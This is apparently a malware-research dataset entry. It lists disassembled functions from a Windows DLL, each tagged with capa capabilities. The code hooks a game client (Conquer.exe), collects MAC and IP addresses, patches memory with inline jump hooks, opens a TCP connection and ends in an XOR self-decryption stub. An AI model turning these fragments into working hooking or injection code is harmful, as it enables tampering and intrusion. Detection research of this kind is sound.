joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003030
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0x288
push 0x12
call fcn.10013980
add esp, 4
mov dword [ebp - 8], eax
push 0x288
call fcn.10013980
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003080
push str.Error_allocating_memory_needed_to_call_GetAdaptersinfo_n
call fcn.10015c40
add esp, 4
mov eax, dword [ebp - 8]
push eax
call fcn.10013690
add esp, 4
xor eax, eax
jmp 0x1000318c
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x100030d4
mov eax, dword [ebp - 4]
push eax
call fcn.10013690
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10013980
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100030d4
push str.Error_allocating_memory_needed_to_call_GetAdaptersinfo_n
call fcn.10015c40
add esp, 4
mov edx, dword [ebp - 8]
push edx
call fcn.10013690
add esp, 4
xor eax, eax
jmp 0x1000318c
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1000317d
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x199]
push ecx
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x198]
push eax
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 0x197]
push edx
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x196]
push ecx
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x195]
push eax
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 0x194]
push edx
push str._02X_02X_02X_02X_02X_02X
mov eax, dword [ebp - 8]
push eax
call fcn.10010930
add esp, 0x20
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x1b0
push edx
push str.Address:__s__mac:__s_n
call fcn.10015c40
add esp, 0xc
push 0x1004ebf4
call fcn.10015c40
add esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jne 0x100030f0
mov edx, dword [ebp - 4]
push edx
call fcn.10013690
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x100036c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0x1004ec80
mov dword [ebp - 4], str.xxxxxxxxx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push str.Conquer.exe
call fcn.1000a000
add esp, 0xc
mov dword [0x10056e70], eax
call fcn.1003fad0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1003ffa0
push 0x10003450
push 0x10056e70
call fcn.1003f560
call fcn.1003fb30
test eax, eax
je 0x10003720
push 0
call fcn.10017280
jmp 0x1000376d
mov dword [ebp - 0x10], 0x1004ec98
mov dword [ebp - 8], str.xxxx____x____x____xxx____xx____xxxxx____xxxx____xxxxxxxxx____xxx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
push str.Conquer.exe
call fcn.1000a000
add esp, 0xc
mov dword [0x10056e6c], eax
call fcn.1003fad0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1003ffa0
push 0x10003190
push 0x10056e6c
call fcn.1003f560
call fcn.1003fb30
mov esp, ebp
pop ebp
ret
Function at 0x10003af0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x10003df0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100411a0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x1b0
mov eax, dword [0x10054670]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10003e47
or eax, 0xffffffff
jmp 0x10003ef3
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xffffffff
jne 0x10003e70
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x10003ef3
mov ecx, 2
mov word [ebp - 0x1b8], cx
push 0xd3d
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1b6], ax
mov eax, 0x10056ecc
call fcn.10004d60
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1b4], eax
push 0x10
lea edx, [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10003ed8
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
jmp 0x10003ef3
jmp 0x10003ee7
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100106c0
mov esp, ebp
pop ebp
ret

Function at 0x10004210
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10004234
xor eax, eax
jmp 0x10004250
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x1000424b
xor eax, eax
jmp 0x10004250
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10004260
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10054670]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x30], 0x1c
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10004339
mov eax, dword [ebp - 0x28]
cmp eax, dword [0x10056df4]
jne 0x100042da
mov ecx, dword [0x10056df4]
push ecx
call fcn.10004210
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x28]
cmp edx, dword [0x10056e0c]
jne 0x100042f6
mov eax, dword [0x10056e0c]
push eax
call fcn.10004210
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [0x10056e68]
jne 0x10004313
mov edx, dword [0x10056e68]
push edx
call fcn.10004210
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], 0
je 0x10004327
cmp dword [ebp - 8], 0
je 0x10004327
cmp dword [ebp - 4], 0
je 0x10004327
jmp 0x10004339
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100042bd
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0
je 0x10004355
cmp dword [ebp - 8], 0
je 0x10004355
cmp dword [ebp - 4], 0
jne 0x1000435f
mov dword [0x10056e90], 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100106c0
mov esp, ebp
pop ebp
ret
Function at 0x10004370
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10054670]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x30], 0x1c
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10004429
mov eax, dword [ebp - 0x28]
cmp eax, dword [0x10056df4]
jne 0x100043df
mov dword [ebp - 0xc], 1
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [0x10056e0c]
jne 0x100043f1
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x28]
cmp edx, dword [0x10056e68]
jne 0x10004403
mov dword [ebp - 8], 1
cmp dword [ebp - 0xc], 0
je 0x10004417
cmp dword [ebp - 4], 0
je 0x10004417
cmp dword [ebp - 8], 0
je 0x10004417
jmp 0x10004429
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100043cd
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x10004445
cmp dword [ebp - 4], 0
je 0x10004445
cmp dword [ebp - 8], 0
jne 0x1000444f
mov dword [0x10056e94], 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100106c0
mov esp, ebp
pop ebp
ret
Function at 0x100074b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10041729
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x10054670]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x10054670]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ecx
cmp dword [ecx + 0x44], esi
je 0x100076c4
cmp byte [ecx + 0x49], 0
je 0x100076c4
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x100076ac
push esi
push 8
lea ecx, [esp + 0x58]
call fcn.100069f0
mov dword [esp + 0x80], esi
lea esp, [esp]
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x54]
call fcn.10006ed0
mov esi, eax
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x54]
mov byte [esp + 0x84], 1
call fcn.10006ed0
mov edi, eax
mov ecx, esi
mov byte [esp + 0x80], 2
call fcn.100080c0
mov ebx, dword [esp + 0x64]
mov ecx, edi
mov esi, eax
call fcn.100080c0
mov edx, dword [esp + 0x18]
mov ecx, dword [edx + 0x44]
mov edx, dword [ecx]
lea edi, [esp + 0x1c]
push edi
mov edi, dword [esp + 0x1c]
add ebx, esi
push ebx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea ecx, [esp + 0x20]
mov esi, eax
mov byte [esp + 0x80], 1
call fcn.100011e0
lea ecx, [esp + 0x44]
mov byte [esp + 0x80], 0
call fcn.100011e0
mov eax, esi
sub eax, 0
je 0x100075de
dec eax
je 0x100075e2
sub eax, 2
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
jne 0x100076a7
jmp 0x100076bf
mov byte [edi + 0x49], 0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x54]
call fcn.10006ed0
mov ecx, eax
mov byte [esp + 0x80], 3
call fcn.100080c0
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x2c]
sub esi, eax
mov byte [esp + 0x80], 0
call fcn.100011e0
test esi, esi
je 0x10007654
lea edx, [esp + 0x38]
push edx
lea ecx, [esp + 0x54]
call fcn.10006ed0
mov byte [esp + 0x80], 4
or dword [esp + 0x14], 1
mov ecx, eax
call fcn.100080c0
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.100165f0
add esp, 0x10
cmp esi, eax
je 0x10007654
mov bl, 1
jmp 0x10007656
xor bl, bl
mov dword [esp + 0x80], 0
test byte [esp + 0x14], 1
je 0x10007676
and dword [esp + 0x14], 0xfffffffe
lea ecx, [esp + 0x38]
call fcn.100011e0
test bl, bl
jne 0x10007698
cmp byte [edi + 0x49], bl
je 0x100076b0
test esi, esi
jne 0x10007530
push esi
push 8
lea ecx, [esp + 0x58]
call fcn.10006aa0
jmp 0x10007530
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
call fcn.10004cd0
xor al, al
jmp 0x100076c6
mov dword [esp + 0x80], 0xffffffff
lea ecx, [esp + 0x50]
call fcn.10004cd0
mov al, 1
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.100106c0
mov esp, ebp
pop ebp
ret
Function at 0x10007f80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100413cb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10054670]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1000bed0
push 0x18
push str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_streambuf
mov dword [ebp - 4], 0
call fcn.1000b1d0
push eax
push 4
call fcn.1000b100
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000800d
call fcn.1000b680
mov dword [edi], eax
call fcn.1000b490
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.1000be60
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10008003
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.1000bea0
jmp 0x1000800f
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009f00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call esi
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push 0x1005562c
call esi
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push 0x10055634
call esi
mov eax, dword [edi]
pop esi
cmp eax, dword [0x1005562c]
jne 0x10009f53
mov cl, byte [0x10055630]
cmp cl, byte [edi + 4]
jne 0x10009f53
mov eax, 0xb
mov esp, ebp
pop ebp
ret
cmp eax, dword [0x10055634]
jne 0x10009f6b
mov dl, byte [0x10055638]
mov eax, 5
cmp dl, byte [edi + 4]
je 0x10009f6e
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x10009f80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [esi + 4]
push edi
push eax
mov edi, ebx
call fcn.10009f00
mov dword [esi + 4], eax
add eax, 5
push eax
call fcn.100177c0
mov edx, dword [esi + 4]
add esp, 8
lea ecx, [ebp - 8]
push ecx
push 0x40
add edx, 5
mov edi, eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 4]
push eax
push ebx
push edi
call fcn.100185f0
mov ecx, dword [esi + 4]
mov byte [edi + ecx], 0xe9
mov eax, dword [esi + 4]
mov edx, ebx
sub edx, edi
sub edx, 5
mov dword [edi + eax + 1], edx
mov eax, dword [ebp + 8]
add esp, 0xc
sub eax, ebx
sub eax, 5
mov dword [ebp - 7], eax
mov dl, byte [ebp - 4]
mov byte [ebp - 8], 0xe9
mov ecx, dword [ebp - 8]
mov dword [ebx], ecx
mov byte [ebx + 4], dl
mov dword [esi], edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000aa70
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041c14
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10054670]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x80], ebx
mov dword [ebp - 4], 1
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x1000aadd
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x1c]
lea esi, [ebp - 0x7c]
call fcn.1000a7c0
mov ecx, esi
call fcn.1000a870
mov eax, esi
push eax
mov esi, edi
call fcn.1000a950
mov byte [ebp - 4], bl
cmp dword [ebp + 0x20], 0x10
mov dword [ebp - 0x80], 1
jb 0x1000ab16
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.10016370
add esp, 4
lea ecx, [ebp + 8]
mov dword [ebp + 0x20], 0xf
mov dword [ebp + 0x1c], ebx
mov byte [ebp + 0xc], bl
call fcn.10007050
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100106c0
mov esp, ebp
pop ebp
ret
Function at 0x100106c0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10054670]
jne 0x100106ca
repz ret
jmp fcn.1001cf90
Function at 0x1003e410
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1003e5c0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1003e4dd
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1003e45a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10054004]
ja 0x1003e45a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1003e42a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10018960
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003e480
jmp 0x1003e4dd
cmp dword [ebp - 0x14], 0x10000
jne 0x1003e4c3
cmp dword [ebp - 0x18], 0x10000
jb 0x1003e4c3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003e4b6
mov eax, dword [ebp - 8]
jmp 0x1003e4df
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003e4d8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1003e5c0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1003e42a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003e4f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1003e5f0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1003e5b5
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1003e535
mov eax, dword [ebp - 4]
cmp eax, dword [0x10054004]
ja 0x1003e535
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1003e505
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10018960
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1003e55b
jmp 0x1003e5b5
cmp dword [ebp - 0x14], 0x10000
jne 0x1003e59e
cmp dword [ebp - 0x18], 0x10000
jb 0x1003e59e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1003e591
mov eax, dword [ebp - 8]
jmp 0x1003e5b7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1003e5b0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1003e5f0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1003e505
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1003f9c0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10055a10], eax
je 0x1003f9de
mov eax, 0x10dd
jmp 0x1003fabf
mov eax, dword [0x10055a20]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1003fa5c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1003fa3a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1003fa3a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.1003ea70
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.10016370
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1003f9e6
mov dword [0x10055a20], 0
call fcn.1003f350
mov ecx, dword [0x10055a1c]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1003faa9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10016370
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1003fa74
mov dword [0x10055a1c], 0
mov dword [0x10055a10], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003ffa0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10055a14], 0
je 0x1003ffb9
mov eax, dword [0x10055a14]
jmp 0x10040059
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1003ffcb
xor eax, eax
jmp 0x10040059
push 8
call fcn.100177c0
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10040021
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1004000a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.10016370
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10055a14], eax
mov dword [0x10055a18], 0
mov eax, dword [ebp - 8]
jmp 0x10040059
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1004003b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1003ffeb
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10055a1c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10055a1c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1003b94c
Capabilities:
Encode data using xor

Disassembly:
call fcn.1001dfd6
dec esi
mov esp, 0x313d109f
test eax, 0x41d07408
arpl sp, ax
lds ecx, [ebp + edx*4 + 0x77]
dec eax
push ds
stc
dec ecx
in al, dx
mov ch, 0x7c
xchg edx, eax
push es
xor byte [edi - 0x1c57e9ce], ch
pop ebx
and al, 0xbc
mov cl, 0x8e
rcl ecx, 1
cmp ah, byte [edx - 0xd]
xchg ebx, eax
or al, 2
xlatb
test dword [ecx + 0x30], esi
sbb eax, dword [ebp - 0x5335e5cf]
sbb eax, 0x95cbbb28
xor al, 0xf5
out dx, al
popal
add al, 2
jne 0x1003b9ae
and eax, 0xc426f4f9
sub byte [eax], cl
js 0x1003b9b9
out 0x91, eax
invalid
and dword [esi + 0x3c], 0x20
sub cl, byte [esp + ebp*8 + 0x6c]
insb byte es:[edi], dx
test eax, 0x19ad1e8e
cmp al, 0x29
daa
mov edi, dword [ebx - 0x17]
pop ss
dec ebp
out 0x1f, eax
stc
adc al, 0x2c
xor eax, 0x5d91388f
xchg ebp, eax
inc ecx
mov ah, 0x1a
jb 0x1003b9af
jmp 0x2feb06d5
sti
inc edx
cwde
or al, 0x96
xor ebp, dword [esi]
insb byte es:[edi], dx
and ebx, dword [0x4c6a0adb]
aas
std
sub al, 0x6d
jp 0x1003b9a7
inc esi
js 0x1003b9ff
invalid
aad 0xf
test eax, 0xb7d08585
idiv byte [ebx + eax*2]
hlt
Function at 0x128353c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1283546
pushal
call 0x128354c
pop ebp
sub ebp, 0x10
sub ebp, 0xe8353c
jmp 0x1283562
mov eax, 0xe8353c
add eax, ebp
add eax, 0x4c
mov ecx, 0x595
mov edx, 0xaf6c3f4f
xor byte [eax], dl
inc eax
dec ecx
jne 0x1283579
jmp 0x128358c
les eax, [edx + 0x4f73c6c4]
dec edi
dec edi
into
invalid